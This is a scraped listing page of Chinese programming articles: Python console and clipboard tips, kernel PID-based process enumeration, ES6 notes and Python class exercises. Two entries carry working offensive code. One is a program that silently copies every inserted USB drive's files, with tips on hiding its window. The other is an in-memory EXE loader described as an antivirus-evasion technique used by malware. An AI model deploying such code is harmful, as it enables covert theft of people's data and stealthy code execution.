分类

类型:
不限 游戏开发 计算机程序开发 Android开发 网站开发 笔记总结 其他
评分:
不限 10 9 8 7 6 5 4 3 2 1
原创:
不限
年份:
不限 2018 2019 2020 2021

技术文章列表

  • python执行控制台命令与操作剪切板

    Windows系统一 . 执行控制台指令方法例如打开QQ
    1. 使用os库中的system函数
    import osos.system('start D:\\QQ\\QQ.exe')'''如果不加start,打开QQ后控制台窗口不关闭,直到QQ关闭,控制台窗口才关闭 一条os.system()语句执行完成控制台会关闭,所以当执行后续命令需要依赖前面的命令时,将多条命令写到一条 os.system()语句内,多条控制台命令用 && 连接'''
    2. 同样是os库中的
    import os# 返回输出结果os.popen('start D:\\QQ\\QQ.exe')
    二. 操作剪切板使用pyperclip库中的函数
    import pyperclippyperclip.copy(123)pyperclip.copy('添加到剪切板')# 将传入的参数添加到剪切板,参数可以是数字或字符串
    0 留言 2020-10-22 11:12:43 奖励33点积分
  • 通过暴力搜索PID遍历进程并获取进程信息

    背景通常我们在内核中使用 ZwQuerySystemInformation 函数来遍历进程模块并获取进程信息,这种是通过正常的进程遍历方式,所以,有很多 Rootkit 程序会 HOOK 这个 ZwQuerySystemInformation 函数,过滤指定进程,从而实现进程的隐藏。
    本文实现的进程遍历和获取进程信息并不打算使用 ZwQuerySystemInformation 这种方式,而是直接暴力搜索进程的 PID,根据有效的 PID 获取相应进程的信息,从而实现进程的遍历。现在,我就来讲解具体的实现过程和原理,这个程序支持 32 位和 64 位 Win 7 至 Win10 全平台。
    函数介绍PsLookupProcessByProcessId 函数
    PsLookupProcessByProcessId例程接受进程的进程ID,并返回引用的指向EPROCESS结构的进程。
    函数声明
    NTSTATUS PsLookupProcessByProcessId( _In_ HANDLE ProcessId, _Out_ PEPROCESS *Process);
    参数

    ProcessId [in]指定进程的进程ID。Process[out]返回指向ProcessId指定的进程的EPROCESS结构的引用指针。
    返回值

    PsLookupProcessByProcessId在成功时返回STATUS_SUCCESS或适当的NTSTATUS值,例如:STATUS_INVALID_PARAMETER,表示进程 ID 无效。
    备注

    如果对 PsLookupProcessByProcessId 的调用成功,PsLookupProcessByProcessId 会增加Process参数中返回的对象的引用计数。因此,当驱动程序完成使用 Process 参数时,驱动程序必须调用 ObDereferenceObject 来取消引用从 PsLookupProcessByProcessId 例程接收的Process参数。

    IoQueryFileDosDeviceName 函数
    获取文件的 Dos 设备名称。
    NTSTATUS IoQueryFileDosDeviceName( _In_ PFILE_OBJECT FileObject, _Out_ POBJECT_NAME_INFORMATION *ObjectNameInformation);
    参数

    FileObject [in]指向文件的文件对象。ObjectNameInformation [out]返回指向新分配的OBJECT_NAME_INFORMATION结构的指针。 这个结构用MS-DOS设备名称信息成功返回填写。 结构定义如下:

    typedef struct _OBJECT_NAME_INFORMATION { UNICODE_STRING Name;} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;// 注意:最终通过调用 ExFreePool 来释放此结构。

    返回值

    成功,则返回STATUS_SUCCESS;否则错误。

    实现原理暴力搜索 PID 这个不难理解,即 PID 从 4 开始,步长为 4,一直遍历到 0x1000,因为进程的 PID 总是为 4 的倍数,所以,我们设置遍历的步长为 4。
    然后,我们根据 PID,调用 PsLookupProcessByProcessId 函数获取 EPROCESS 进程结构体,因为 EPROCESS 这个结构体里存储着进程所有的信息,我们可以从这个 EPROCESS 结构体中获取我们想要的信息,例如进程的父进程、进程名、路径、进程双链表链等等。调用完 PsLookupProcessByProcessId 获取 EPROCESS 之后,记得调用 ObDereferenceObject 来释放对象。
    在不同的系统版本中,EPROCESS 这个结构体定义也不相同,所以不建议使用固定的偏移地址来获取进程信息,而应该使用提供的 API 函数从 EPROCESS 结构体中获取。例如:

    获取进程 PID,可以使用 PsGetProcessId 函数。
    获取进程的父进程 PID,可以使用PsGetProcessInheritedFromUniqueProcessId 函数。
    获取进程名称,可以使用 PsGetProcessImageFileName 函数。
    获取进程路径,可以先试用 PsReferenceProcessFilePointer 函数获取文件指针对象,然后再调用 IoQueryFileDosDeviceName 获取 Dos 路径,最后还要记得使用 ObDereferenceObject 函数来释放对象。

    编码实现进程遍历// 遍历进程NTSTATUS EnumProcess(){ NTSTATUS status = STATUS_SUCCESS; ULONG i = 0; PEPROCESS pEProcess = NULL; // 开始遍历 for (i = 4; i < 0x10000; i = i + 4) { status = PsLookupProcessByProcessId((HANDLE)i, &pEProcess); if (NT_SUCCESS(status)) { // 从进程结构中获取进程信息 GetProcessInfo(pEProcess); ObDereferenceObject(pEProcess); } } return status;}
    从进程结构中获取进程信息// 从进程结构中获取进程信息VOID GetProcessInfo(PEPROCESS pEProcess){ NTSTATUS status = STATUS_SUCCESS; HANDLE hParentProcessId = NULL, hProcessId = NULL; PCHAR pszProcessName = NULL; PVOID pFilePoint = NULL; POBJECT_NAME_INFORMATION pObjectNameInfo = NULL; // 获取父进程 PID hParentProcessId = PsGetProcessInheritedFromUniqueProcessId(pEProcess); // 获取进程 PID hProcessId = PsGetProcessId(pEProcess); // 获取进程名称 pszProcessName = PsGetProcessImageFileName(pEProcess); // 获取进程程序路径 status = PsReferenceProcessFilePointer(pEProcess, &pFilePoint); if (NT_SUCCESS(status)) { status = IoQueryFileDosDeviceName(pFilePoint, &pObjectNameInfo); if (NT_SUCCESS(status)) { // 显示 DbgPrint("PEPROCESS=0x%p, PPID=%d, PID=%d, NAME=%s, PATH=%ws\n", pEProcess, hParentProcessId, hProcessId, pszProcessName, pObjectNameInfo->Name.Buffer); } ObDereferenceObject(pFilePoint); } }
    程序测试在 Win7 32 位下,驱动程序正常运行:

    在 Win10 64 位下,驱动程序正常运行:

    总结这个程序不难理解,关键是要注意 EPROCESS 这个函数包含了几乎进程所有的信息,本文只用到了它其中的一小部分。建议大家私下可以使用 WinDbg 查看下系统中 EPROCESS 的定义,同时观察它具体有哪些信息,不同平台系统之间的区别,以此来加深对 EPROCESS 的印象。
    参考参考自《Windows黑客编程技术详解》一书
    2 留言 2021-04-13 08:57:58 奖励26点积分
  • 编程实现U盘插入自动复制U盘内容到本地

    背景U盘插入计算机后,不用任何操作,程序自动将U盘里的文件都拷贝到本地计算机上。这个功能是我自己开发的“恶魔的结界”系列程序里的一个小功能,至于有什么用,那就看个人的爱好了。在此,只探讨技术,不探讨用途。
    现在,我就对它进行解析,整理成文档,分享给大家。
    实现原理这个程序的实现,可以分成两个部分:

    U盘设备插入的监控,获取U盘盘符
    根据U盘盘符,遍历U盘文件,并进行复制操作

    首先,对U盘设备插入的监控,可以参考我写的 “编程实现监控U盘或者其它移动设备的插入和拔出” 这篇文章,使用方法是对程序添加 WM_DEVICECHANGE 消息处理函数,并根据 DEV_BROADCAST_VOLUME 结构体的 dbcv_unitmask 逻辑单元掩码来计算出插入设备U盘的盘符。
    我们成功获取了U盘盘复制后,也就知道了U盘的路径了。所以,我们使用WIN 32 API 函数 FindFirstFile 和 FindNextFile 从U盘的根目录进行文件遍历,具体的遍历方法解析可以参考本站上其他人写的 “使用FindFirstFile和FindNextFile函数实现文件搜索遍历” 这篇文章。 对于遍历到的文件,我们就调用 CopyFile 函数将它静默拷贝到本地指定的存储路径中。
    这样,经过上述的两步操作,我们就可以实现插入U盘,自动拷贝U盘文件到本地的功能了。
    编码实现U盘插入监控// 监控U盘插入并获取U盘盘符LRESULT CUDiskCopy_TestDlg::OnDeviceChange(WPARAM wParam, LPARAM lParam){ switch (wParam) { // 设备已经插入 case DBT_DEVICEARRIVAL: { PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam; // 逻辑卷 if (DBT_DEVTYP_VOLUME == lpdb->dbch_devicetype) { // 根据 dbcv_unitmask 计算出设备盘符 PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb; DWORD dwDriverMask = lpdbv->dbcv_unitmask; DWORD dwTemp = 1; char szDriver[4] = "A:"; for (szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++) { if (0 < (dwTemp & dwDriverMask)) { // 获取设备盘符, 开始执行拷贝, 从目标设备拷贝到本地上 SearchFile(szDriver); } // 左移1位, 接着判断下一个盘符 dwTemp = (dwTemp << 1); } } break; } default: break; } return 0;}
    U盘文件遍历及拷贝// 遍历文件并复制void SearchFile(char *pszDirectory){ // 搜索指定类型文件 DWORD dwBufferSize = 2048; char *pszFileName = NULL; char *pTempSrc = NULL; WIN32_FIND_DATA FileData = { 0 }; BOOL bRet = FALSE; // 申请动态内存 pszFileName = new char[dwBufferSize]; pTempSrc = new char[dwBufferSize]; // 构造搜索文件类型字符串, *.*表示搜索所有文件类型 ::wsprintf(pszFileName, "%s\\*.*", pszDirectory); // 搜索第一个文件 HANDLE hFile = ::FindFirstFile(pszFileName, &FileData); if (INVALID_HANDLE_VALUE != hFile) { do { // 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历 if ('.' == FileData.cFileName[0]) { continue; } // 拼接文件路径 ::wsprintf(pTempSrc, "%s\\%s", pszDirectory, FileData.cFileName); // 判断是否是目录还是文件 if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { // 目录, 则继续往下递归遍历文件 SearchFile(pTempSrc); } else { // 文件, 执行复制操作, 复制到本地上 char szNewFile[MAX_PATH] = "C:\\Users\\Desktop\\test\\"; ::lstrcat(szNewFile, FileData.cFileName); ::CopyFile(pTempSrc, szNewFile, FALSE); } // 搜索下一个文件 } while (::FindNextFile(hFile, &FileData)); } // 关闭文件句柄 ::FindClose(hFile); // 释放内存 delete[]pTempSrc; pTempSrc = NULL; delete[]pszFileName; pszFileName = NULL;}
    程序测试我们运行程序后,插入U盘,然后等待一会儿后,我们打开本地上保存U盘拷贝数据的目录,发现成功拷贝U盘里的文件。

    总结为了防止程序在秘密拷贝U盘数据的时候,程序会卡死,所以,可以创建一个多线程,把拷贝文件的操作放到多线程里去执行,这样就不会阻塞主线程了。
    同时,创建本文演示的这个程序还没有对程序的窗口进行隐藏,如果你想要把这个程序做得比较隐蔽的话,可以参考本站上其他人写的 “编程实现MFC程序窗口一运行立马隐藏” 这篇文档,里面有介绍如何一开就隐藏窗口程序。
    参考参考自《Windows黑客编程技术详解》一书
    5 留言 2018-12-20 12:08:31 奖励25点积分
  • EXE加载模拟器直接在内存中加载运行EXE不通过API创建进程运行 精华

    背景在网上搜索了很多病毒木马的分析报告,看了一段时间后,发现还是有很多病毒木马都能够模拟PE加载器,把DLL或者是EXE等PE文件,直接从内存中直接加载到自己的内存中执行,不需要通过API函数去操作,以此躲过一些杀软的检测。
    在看到这些技术的描述后,虽然没有详细的实现思路,但是凭借自己的知识积累,我也大概知道是怎么做了。后来,就自己动手写了这么一个程序,实现了从内存中直接加载并运行EXE,不需要通过API函数创建另一个进程启动该EXE。暂时还没有想清楚这种技术有什么积极的一面,不管了,既然都把程序写出来了,那就当作是对PE结构以及编程水平的一次锻炼吧
    现在,把实现的思路和实现过程,写成文档,分享给大家。
    程序实现原理要想完全理解透彻这个程序的技术,需要对PE文件格式有比较详细的了解才行,起码要了解PE格式的导入表、导出表以及重定位表的具体操作过程。
    这个程序和 “DLL加载模拟器直接在内存中加载DLL不通过API加载” 这篇文章原理是一样的,只是一个是EXE,一个是DLL,本质上都是PE文件加载模拟器。
    EXE加载到内存的过程并运行实现原理
    首先,在EXE文件中,根据PE结构格式获取其加载映像的大小SizeOfImage,并根据SizeOfImage在自己的程序中申请一块可读、可写、可执行的内存,那么这块内存的首地址就是EXE程序的加载基址
    然后,根据EXE中的PE结构格式获取其映像对齐大小SectionAlignment,然后把EXE文件数据按照SectionAlignment对齐大小拷贝到上述申请的可读、可写、可执行的内存中
    接着,根据PE结构的重定位表,重新对重定位表进行修正
    接着,根据PE结构的导入表,加载所需的DLL,并获取导入表导入函数的地址并写入导入表中
    接着,修改EXE的加载基址ImageBase
    最后,根据PE结构获取EXE的入口地址AddressOfEntryPoint,然后跳转到入口地址处继续执行

    这样,EXE就成功加载到程序中并运行起来了。要注意的一个问题就是,并不是所有的EXE都有重定位表,对于没有重定位表的EXE程序,那就不适用于本文介绍的方法。
    编码实现// 模拟PE加载器加载内存EXE文件到进程中// lpData: 内存EXE文件数据的基址// dwSize: 内存EXE文件的内存大小// 返回值: 内存EXE加载到进程的加载基址LPVOID MmRunExe(LPVOID lpData, DWORD dwSize){ LPVOID lpBaseAddress = NULL; // 获取镜像大小 DWORD dwSizeOfImage = GetSizeOfImage(lpData); // 在进程中开辟一个可读、可写、可执行的内存块 lpBaseAddress = ::VirtualAlloc(NULL, dwSizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (NULL == lpBaseAddress) { ShowError("VirtualAlloc"); return NULL; } ::RtlZeroMemory(lpBaseAddress, dwSizeOfImage); // 将内存PE数据按SectionAlignment大小对齐映射到进程内存中 if (FALSE == MmMapFile(lpData, lpBaseAddress)) { ShowError("MmMapFile"); return NULL; } // 修改PE文件重定位表信息 if (FALSE == DoRelocationTable(lpBaseAddress)) { ShowError("DoRelocationTable"); return NULL; } // 填写PE文件导入表信息 if (FALSE == DoImportTable(lpBaseAddress)) { ShowError("DoImportTable"); return NULL; } //修改页属性。应该根据每个页的属性单独设置其对应内存页的属性。 //统一设置成一个属性PAGE_EXECUTE_READWRITE DWORD dwOldProtect = 0; if (FALSE == ::VirtualProtect(lpBaseAddress, dwSizeOfImage, PAGE_EXECUTE_READWRITE, &dwOldProtect)) { ShowError("VirtualProtect"); return NULL; } // 修改PE文件加载基址IMAGE_NT_HEADERS.OptionalHeader.ImageBase if (FALSE == SetImageBase(lpBaseAddress)) { ShowError("SetImageBase"); return NULL; } // 跳转到PE的入口点处执行, 函数地址即为PE文件的入口点IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint if (FALSE == CallExeEntry(lpBaseAddress)) { ShowError("CallExeEntry"); return NULL; } return lpBaseAddress;}
    程序测试在 main 函数中调用上述封装好的函数,加载EXE程序进行测试。main 函数为:
    int _tmain(int argc, _TCHAR* argv[]){ char szFileName[] = "KuaiZip_Setup_2.8.28.8.exe"; // 打开EXE文件并获取EXE文件大小 HANDLE hFile = CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL); if (INVALID_HANDLE_VALUE == hFile) { ShowError("CreateFile"); return 1; } DWORD dwFileSize = GetFileSize(hFile, NULL); // 申请动态内存并读取DLL到内存中 BYTE *pData = new BYTE[dwFileSize]; if (NULL == pData) { ShowError("new"); return 2; } DWORD dwRet = 0; ReadFile(hFile, pData, dwFileSize, &dwRet, NULL); CloseHandle(hFile); // 判断有无重定位表 if (FALSE == IsExistRelocationTable(pData)) { printf("[FALSE] IsExistRelocationTable\n"); system("pause"); return 0; } // 将内存DLL加载到程序中 LPVOID lpBaseAddress = MmRunExe(pData, dwFileSize); if (NULL == lpBaseAddress) { ShowError("MmRunExe"); return 3; } system("pause"); return 0;}
    测试结果:
    运行程序后,成功显示“快压”安装程序的对话框界面,而且还显示了“快压”安装程序正在向 “i.kpzip.com” 使用HTTP发送“GET”数据请求:

    所以,程序测试成功。
    总结这个程序你只要熟悉PE格式结构的话,这个程序理解起来会比较容易。其中,需要特别注意的一点是:并不是所有的EXE都是用于本文介绍的方法。因为,对于那些没有重定位表的EXE程序来说,它们加载运行时的加载基址只能是固定的,因为没有重定位表的缘故,所以无法重定位数据,势必不能成功运行程序。同时,对一些MFC程序也不支持,目前正在改进当中。如果遇到不成功的,那就多换几个有重定位表的EXE试试就好。
    参考参考自《Windows黑客编程技术详解》一书
    9 留言 2019-01-02 09:49:15 奖励25点积分
  • ECMAScript 6.0 笔记

    ES6let、const……
    解构赋值从对象/数组中提取值,按照对应位置,对变量赋值。对象也可以实现解构
    let [a,b,c]= [1,2,3]let person = {name:"xioaming",age:18}let {name,age} = personlet {name:uname,age:uage}=person//左侧用于匹配,右侧用于赋值变量
    参数赋值初始值function add(a,b,c=10){}//具有默认值的参数值,一般位置要靠后add(1,2)//与结构赋值结合function connect({host="127.0.0.1",username,password,port=3000}){}conncet({ host:'localhost', username:"root", password:"root", port:3306})
    箭头函数……
    this指是函数外最近的那个this,无法被bind/call/apply指定
    剩余参数将一个不定数量的参数表示为一个数组
    function sum(first,...args){ //args为数组}sum(1,2,3,4,5)//剩余参数与解构配合使用let students=['xm','xw','xz']let [s1,...s2] = studentsconsole.log(s1)//'xm'console.log(s2)//['xw','xz']
    扩展运算符(展开语法)将数组或对象转为用逗号分隔的参数序列
    let arr = [1,2,3]console.log(...arr)//应用:合并数组let arr1=[1,2,3]let arr2=[4,5,6]let arr3=[...arr1,...arr2]//arr1.push(...arr2)//应用:将伪数组转为数组let arr = [...arguments]//拓展//构造函数方法Array.fron()转数组let arrayLike={ '0':'a', '1':'b', length:2}let arr2=Array.from(arraylike,[function])//find()找出第一个符合条件的数组成员,如果没有找到返回undefinedlet arr =[ { id:1, name:"xm" }, { id:2, name:"xz" }]let target = arr.find((item,index)=>item.id===2)//{id:1,name:"xm"}//findIndex()找出第一个符合条件的数组成员的位置,如果没找到返回-1let inex = arr.find((item,index)=>item.name==="xz")//1//includes()表示某个数组是否包含给定的值,返回布尔值[1,2,3].includes(2)//true[1,2,3].include(4)//false//startsWith()参数字符串是否在原字符串的头部,返回布尔 let str = "hello world!"str.startsWith('hello')//true//endsWith()参数字符串是否在原字符串的尾部,返回布尔 str.endsWith('!')//true//repeat() 将原字符串重复n次,返回一个新字符串‘x1'.repeat(3) //"x1x1x1"
    symbol数据类型表示独一无二的值
    特点

    值是唯一的,用来解决命名冲突的问题不能与其他数据进行运算定义的对象属性不能使用for…in循环遍历。但可以使用Relect.ownkeys来获取对象的所有键名
    //创建symbollet s = Symbol()let s2 = Symbol("xiaoming")//传入的是一个描述字符串,与结果无关let s3 = Symbol("xiaoming")//与s2不一样s2 === s3 //false//Symbol.for创建let s4 = Symbol.for('xiaoming')let s5 = Symbol.for('xioaming')s4 === s5//true//不能运算//let result = s+100//let result = s>100//let result = s+s//向对象中添加方法up downlet game={}//game.up=function(){}//会有风险,里面可能已经存在let methods={ up:Symbol(), down:Symbol()}game[methods.up]=function(){ console.log("up");}game[methods.down]=function(){ console.log("down");}game[methods.up]()//调用let say = Symbol('say')let youxi = { name:"123", [say]:function(){ console.log('say'); }, [Symbol('do')]:function(){ console.log('do'); },}youxi[say]()//调用/*--------内置Symbol值-------------*///Symbol.hasInstanceclass Person{ static [Symbol.hasInstance](param){ console.log(param)//{a:1} console.log("我被用来检测类型了") return true//控制instanceof的结果 }}let o={a:1}o instanceof Person //Symbol.isConcatSpreadableconst arr=[1,2,3]const arr2=[4,5,6]console.log(arr.concat(arr2));//[1, 2, 3, 4, 5, 6]arr2[Symbol.isConcatSpreadable] = falseconsole.log(arr.concat(arr2));//[1, 2, 3, Array(3)]
    迭代器(Iterator)ES6创造了一种新的遍历命令for…of循环,Iterator接口主要供for…of消费
    是对象里的一个属性Symbol.iterator
    原生具备iterator接口的数据(可以用for of遍历)

    ArrayArgumentsSetMapStringTypedArrayNodeList
    工作原理
    1. 由Symbol.iterator指向的函数创建一个指针对象,指向当前数据结构的起始位置 2. 第一次调用对象的next方法,指针自动指向数据结构的第一个成员 3. 接下来不断调用next方法,指针一直往后移动,直到指向最后一个成员 4. 每调用next方法会返回一个包含value和done属性的对象需要自定义遍历数据的时候,要想到迭代器
    const xiyou=['唐僧','孙悟空','猪八戒','沙僧']let iterator = xiyou[Symbol.iterator]()console.log(iterator.next());//{value: "唐僧", done: false}console.log(iterator.next());//{value: "孙悟空", done: false}console.log(iterator.next());//{value: "猪八戒", done: false}console.log(iterator.next());//{value: "沙僧", done: false}console.log(iterator.next());//{value: undefined, done: true}/*-----迭代器应用,for of遍历对象内数组-------*/const banji = { name: "一班", stus: [ 'xiaoming', 'xiaowang', 'xiaozhang' ], [Symbol.iterator]() { //索引变量 let index = 0 let _this = this return { next() { if (index < _this.stus.length) { const result = { value: _this.stus[index], done: false } //下标自增 index++ return result } else { return { value: undefined, done: true } } } } }}for(s of banji){ console.log(s);}
    生成器生成器函数是ES6提供的一种异步编程解决方案,语法行为与传统函数完全不同
    //*的偏向无所谓function * gen(){ //yield函数代码的分割符 yield '一只没有耳朵' yield '一只没有尾巴' yield '真奇怪'}for(let v of gen()){ console.log(v);}//一只没有耳朵// 一只没有尾巴// 真奇怪let iterator=gen()console.log(iterator.next());//{value: "一只没有耳朵", done: false}console.log(iterator.next());//{value: "一只没有尾巴", done: false}console.log(iterator.next());//{value: "真奇怪", done: false}console.log(iterator.next());//{value: undefined, done: true}//参数传递function* gen(arg) { console.log(arg);//AAA let one = yield 111 console.log(one);//BBB yield 222 yield 333}let iterator = gen('AAA')console.log(iterator.next());//{value: 111, done: false}//next()传入的实参将作为上一个yield语句的返回结果console.log(iterator.next('BBB'));//{value: 222, done: false}//实例//1//异步编程 文件操作 网络操作(ajax,request) 数据库操作//1s后控制台输出111 2s后输出222 3s后输出333function one(){ setTimeout(()=>{ console.log(111); console.log(iterator); iterator.next() },1000)}function two(){ setTimeout(()=>{ console.log(222); iterator.next() },2000)}function three(){ setTimeout(()=>{ console.log(333); iterator.next() },3000)}function* gen(){ yield one() yield two() yield three()}let iterator = gen()iterator.next()//2//模拟获取 用户数据 订单数据 商品数据function getUsers(){ setTimeout(()=>{ let data = "用户数据" //调用next方法,并将数据传入 iterator.next(data) },1000)}function getOrders(){ setTimeout(()=>{ let data = "订单数据" iterator.next(data) },1000)}function getGoods(){ setTimeout(()=>{ let data = "商品数据" iterator.next(data) },1000)}function* gen(){ let users = yield getUsers() console.log(users); let orders = yield getOrders() console.log(orders); let goods = yield getGoods() console.log(goods);}let iterator = gen()iterator.next()
    Promiseconst p = new Promise((resolve, reject) => { setTimeout(() => { resolve('用户数据') }, 1000)})const result = p.then(value => { console.log(value);//用户数据 //return //1.非promise类型的属性 // return '123' //2.是promise对象 // return new Promise((resolve,reject)=>{ // resolve('ok') // }) //3.抛出错误 //throw '出错啦!'})console.log(result);//return 非promise类型的属性 // [[PromiseStatus]]: "resolved" // [[PromiseValue]]: "123"//return promise对象 //[[PromiseStatus]]: "resolved" // [[PromiseValue]]: "ok"//return 抛出错误 //[[PromiseStatus]]: "rejected" //[[PromiseValue]]: "出错啦!"//链式调用new Promise((resolve, reject) => { setTimeout(() => { resolve("111") }, 1000)}).then(str => { console.log(str); return new Promise((resolve, reject) => { setTimeout(() => { resolve("222") }, 2000) })}).then(str => { console.log(str); return new Promise((resolve, reject) => { setTimeout(() => { resolve("333") }, 3000) })}).then(str=>{ console.log(str);})
    Set数据结构类似于数组,但是成员的值都是唯一的,没有重复的值
    const set = new Set([1,2,3,4])//数组去重let arr = [1,3,5,1,4,45,14,5]let newArr = [...new Set(arr)]console.log(newArr);//[1, 3, 5, 4, 45, 14]//实例方法//add(value) 添加某个值,返回Set结构本身//delete(value) 删除某个值,返回一个布尔值,表示删除成功//has(value) 返回一个布尔值,表示改制是否为Set成员//clear() 清除所有成员,无返回值//遍历 也有forEach方法const s = new Set([2,3,4,5,6,7])s.forEach(value=>{ console.log(value);})
    Map数据结构类似于对象,也是键值对的集合。但是“键”的范围不限于字符串,各种类型的值(包括对象)都可以当做键。Map也实现了iterator接口,所以可以使用拓展运算符和for…of进行遍历。
    Map的属性和方法
    ​ size 返回Map元素个数
    ​ set 增加一个新的元素,返回当前Map
    ​ get 返回键名对象的键值
    ​ has 检测Map中是否包含某个元素,返回boolean值
    ​ clear 清空集合,返回undefined
    0 留言 2020-10-07 10:55:49 奖励22点积分
  • python算法练习题

    冰其淋小店是一种特殊的餐馆

    编写一个名为IceCreamStand的类,让它继承你为完成练习1或练习4而编写的Restaurant类
    这两个版本Restaurant类都可以,挑选你更喜欢的那个即可
    添加一个名为flavors的属性,用于存储一个由各种口味的冰淇淋组成的列表
    编写一个显示这些冰淇淋的方法。创建一IceCreamStand实例,并调用这个方法

    from Restaurant import Restaurantclass IceCreamStand(Restaurant): def __init__(self,restaurant_name,cuisine_type,flavors,number_served = 0): super(IceCreamStand, self).__init__(restaurant_name,cuisine_type,number_served = 0) self.flavor=flavors def getInfo(self): print('这家参观的名字是%s,特色菜是%s,冰欺凌的主要口味有%s'%(self.restaurant_name,self.cuisine_type,self.flavor))IceCreamStand1=IceCreamStand('海底捞','火锅',['火山岩','草莓味','奶油味'])IceCreamStand1.getInfo()
    管理员是一种特殊的用户

    编写一个名为Admin的类,让它继承你为完成练习3或练习5而编写的User类
    添加一个名为privileges的属性,用于存储一个由字符串(如“can add post”、“can delete post”、“can ban user”等)组成的列表
    编写一个名为show_privileges()的方法,它显示管理员的权限,创建一个Admin实例,并调用这个方法

    from user import userclass Admin(user): privileges=['can add post','can delete post','can ban user'] def __int__(self,first_name,last_name,age,sex,phone,login_attempts=0): super(Admin, self).__int__(first_name,last_name,age,sex,phone,login_attempts=0) def show_privileges(self): print('管理员:%s%s有以下权限:'%(self.first_name,self.last_name)) for i in Admin.privileges: print(i)admin1=Admin('su','san',18,'女','19999999999','上海')admin1.show_privileges()
    亡者农药小游戏

    创建三个游戏人物,分别是:

    属性:
    名字:name定位:category血量:Output技能:Skill
    英雄
    铠,战士,血量:1000 技能:极刃风暴王昭君,法师 ,血量:1000 技能:凛冬将至阿轲,刺客,血量:1000 技能:瞬华

    游戏场景,分别:

    偷红buff,释放技能偷到红buff消耗血量300solo战斗,一血,消耗血量500补血,加血200

    class hero(): def __init__(self,name,category,skill,output=1000,score=0): self.name=name self.category=category self.skill=skill self.output=output self.score=score #战斗场景一 :偷红BUFF def red_buff(self): self.output-=300 print('%s%s释放技能偷的红BUFF,消耗血量%d'%(self.category,self.name,self.output)) # 战斗场景二 :solo def solo(self,n=1): self.output -= 500 if self.output<0: print('%s%s送出了一血'%(self.category,self.name)) else: if self.score==0: self.score+=n print('%s%s释放技取得一血,消耗血量500,拿到%d人头'%(self.category, self.name,self.score)) else: self.score += n print('%s%s释放技,消耗血量500,拿到%d人头' % (self.category, self.name,n)) # 战斗场景三 :补血 def add_blood(self): self.output+=200 print('%s%s被辅助加血200,现在的血量为%d'%(self.category, self.name,self.output)) #查看英雄属性 def getInfo(self): if self.output<=0: print('%s%s已死亡等待复活,已取得人头%d'%(self.category, self.name,self.score)) else: print('%s%s已超神,血量还有%d'%(self.category, self.name,self.output)) #实例化对象kai=hero('凯','战士','极寒风暴')kai.red_buff()kai.getInfo()kai.solo()kai.getInfo()kai.add_blood()
    模拟一个简单的银行进行业务办理的类

    类:创建一个银行类
    属性:

    一个属于银行的类属性,用来存储所用银行的开户信息,包含卡号、密码、用户名、余额(外界不能随意访问和修改。开户时要进行卡号验证,查看卡号是否已经存在)每个对象拥有卡号、密码、用户名、余额(外界不能随意访问和更改)
    方法:

    银行类拥有:
    查看本银行的开户总数查看所有用户的个人信息(包含卡号、密码、用户名、余额)
    每个对象拥有:
    实例化对象的时候传入相关参数,初始化对象及类属性取钱(需要卡号和密码验证),通过验证卡号和密码对个人的余额进行操作,如果取钱大于余额,返回余额不足存钱(需要卡号和密码验证),通过验证卡号和密码对个人的余额进行操作,返回操作成功查看个人详细信息(需要卡号密码验证),返回个人的卡号,用户名,余额信息


    class Bank(): #一个属于银行的类属性 __Users = {} #每个对象拥有 卡号、密码、用户名、余额 def __init__(self,CradId,pwd,name,balance): if CradId not in Bank.__Users: Bank.__Users[CradId] = {'pwd':pwd,'Username':name,'Balance':balance} self.__CradId = CradId self.__pwd = pwd self.__name = name self.__balance = balance #查看本银行的开户总数 @classmethod def nums(cls): print('当前用户数:%d'%(len(cls.__Users))) #查看所有用户的个人信息(包含卡号、密码、用户名、余额) @classmethod def get_Users(cls): for key,val in cls.__Users.items(): print('卡号:%s \n 用户名:%s \n密码:%d \n 余额:%d'%(key,val['Username'],val['pwd'],val['Balance'])) print() #验证方法 @staticmethod def check_User(CradId,pwd): if (CradId in Bank.__Users) and (pwd == Bank.__Users[CradId]['pwd'] ): return True else: return False #验证金额 @staticmethod def check_money(money): if isinstance(money,int): return True else: return False # 取钱(需要卡号和密码验证) def q_money(self,CradId,pwd,money): if Bank.check_User(CradId,pwd): #开始取钱 if Bank.check_money(money): if Bank.__Users[CradId]['Balance'] >= money: Bank.__Users[CradId]['Balance'] -= money print('当前卡号%s,当前取款金额%d,当前余额%d'%(CradId,money,Bank.__Users[CradId]['Balance'])) else: print('余额不足') else: print('您输入的金额有误') else: print('卡号或者密码有误') def c_money(self,CradId,pwd,money): if Bank.check_User(CradId,pwd): #开始取钱 if Bank.check_money(money): Bank.__Users[CradId]['Balance'] += money print('当前卡号%s,当前存款金额%d,当前余额%d'%(CradId,money,Bank.__Users[CradId]['Balance'])) else: print('您输入的金额有误') else: print('卡号或者密码有误') #查看个人详细信息(需要卡号密码验证) def getInfo(self,CradId,pwd): if Bank.check_User(CradId, pwd): print('当前卡号%s,当前用户名%s,当前余额%d' % (CradId, Bank.__Users[CradId]['Username'], Bank.__Users[CradId]['Balance'])) else: print('卡号或者密码有误')joe = Bank('1001',111111,'joe',100)joe2 = Bank('1001',111111,'joe',100)Bank.nums()print('_'*50)Bank.get_Users()print('_'*50)joe.c_money('1001',111111,500)print('_'*50)joe.q_money('1001',111111,300)print('_'*50)joe.getInfo('1001',111111)
    0 留言 2020-09-22 10:21:02 奖励26点积分
  • Python 编程里面%、%s 和 % d 代表的意思


    %s,表示格化式一个对象为字符
    %d,整数

    "Hello, %s"%"zhang3" => "Hello, zhang3""%d"%33 => "33""%s:%d"%("ab",3) => "ab:3"

    %字符:标记转换说明符的开始。在%的左侧放置一个字符串(格式化字符串),而右侧则放置希望格式化的值。
    %s表示格式化规则

    1、
